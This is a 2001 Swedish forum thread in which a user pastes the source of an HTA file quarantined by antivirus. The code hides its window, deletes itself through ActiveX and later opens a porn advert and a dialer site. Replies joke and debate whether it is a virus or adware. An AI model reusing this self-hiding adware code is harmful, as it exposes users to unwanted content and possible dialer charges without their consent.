---
title: "C:\\ht.hta - popup porr?"
type: "forum-thread"
url: "https://www.webforum.nu/amne/datasakerhet/28713-c-ht-hta-popup-porr"
topic: "Datasäkerhet"
topic_url: "https://www.webforum.nu/amne/datasakerhet"
author: "Pace"
published: "2001-10-24T17:40:00.000Z"
updated: "2001-10-26T17:30:00.000Z"
replies: 7
views: 477
page: 1
pages: 1
language: "sv-SE"
site: "webForum — webforum.nu"
rights: "Upphovsrätten till varje inlägg tillhör dess författare."
attribution: "Citera som: webForum, https://www.webforum.nu/amne/datasakerhet/28713-c-ht-hta-popup-porr"
---

# C:\ht.hta - popup porr?

## #1 — Pace, 2001-10-24T17:40Z

Hittade följande lilla HTML-applikation när jag körde Norton AntiVirus2001:

Norton hade satt denna filen (c:\\ht.hta) i karantän, och helt plötsligt (nu när jag försökte skriva detta inlägg) så poppar ett fönster upp från ingenstans och laddar in nedanstående porr-adress (babylon-x).

\<font size="1" face="Verdana, Arial, Helvetica, sans-serif"\>Kod:\<font size="1" face="Verdana, Arial, Helvetica, sans-serif" color="#666600"\>\<HTML\>\<HEAD\>\<TITLE\> \</TITLE\>\<HTA:APPLICATION SHOWINTASKBAR='no' BORDER='none' WINDOWSTATE='minimize'\>\<SCRIPT\>self.moveTo(15000,15000);var fs=new ActiveXObject('Scripting.FileSystemObject');function f(){fs.DeleteFile('c:\\\\ht.hta');}setTimeout('f();',500);
setTimeout('window.open("http://www.babylon-x.com/cgi-bin/click?id=rhc","\_blank");',500000);
setTimeout('window.open("http://dist02.chargitdial.com/?1&7085","\_blank");',1700000);
setTimeout('self.close();',1701000)
\</script\>\</body\>\</html\>

Ni kanske ska se över så att ni inte  har någon liknande fil på era burkar!

Permalänk: https://www.webforum.nu/p/28713

## #2 — stoffe-2k, 2001-10-24T19:26Z

"one hand surfing" :OO :p :e

Permalänk: https://www.webforum.nu/p/404339

## #3 — Pace, 2001-10-24T19:36Z

stoffe-2k: :e 

Nej, vet faktiskt inte var den kommer ifrån, :p 
Jag håller ju alltid åtminstone en hand på *musen*! ;)

Permalänk: https://www.webforum.nu/p/404340

## #4 — McD, 2001-10-25T09:53Z

Humm är du säker på att det är ett virus? verkar vara någon form av reklam !?!?!?! :(  

Har hört om detta förrut... ska kolla mer!

Permalänk: https://www.webforum.nu/p/404341

## #5 — Pace, 2001-10-25T15:07Z

Filen aktiveras av sig själv vid några tillfällen och jag har verkligen inte lagt den där, så jag betraktar den som ett virus.

Men visst är det reklam.

Permalänk: https://www.webforum.nu/p/404342

## #6 — McD, 2001-10-26T07:24Z

Nja virus är det inte... virus ska ha en playload för att betraktas som virus. Snarare någon form av mask eller trojan... :) Men i det förra fallet detta kom upp var det användaren som hade startat filen för något annat program som denna ladda ner och detta kom lixom med i det programmet användaren vill ha... då spred det sig inte vidare alls dvs ingen playload.

Permalänk: https://www.webforum.nu/p/404343

## #7 — mappo, 2001-10-26T09:51Z

Jag installerade en gång ett program som kunde döpa .mp3-filer utifrån deras id3-tag. 

Det la in en liknande reklam-agent.
Den var ganska känd och det fanns en artikel på astalavista där det stod hur man blev av med den.

Permalänk: https://www.webforum.nu/p/404344

## #8 — Pace, 2001-10-26T17:30Z

McD: Mycket möjligt, hur som helst så var den inte välkommen i alla fall! :)

mappo: Hmmm, jäkligt konstigt eftersom jag inte installerat något program därifrån över huvud taget (knappast något annat oseriöst program heller).

Hur fan kan den ha hamnat på burken då? Websidor kan väl knappast skriva till mina enheter? :q

Permalänk: https://www.webforum.nu/p/404345

---

Tråden på webben: https://www.webforum.nu/amne/datasakerhet/28713-c-ht-hta-popup-porr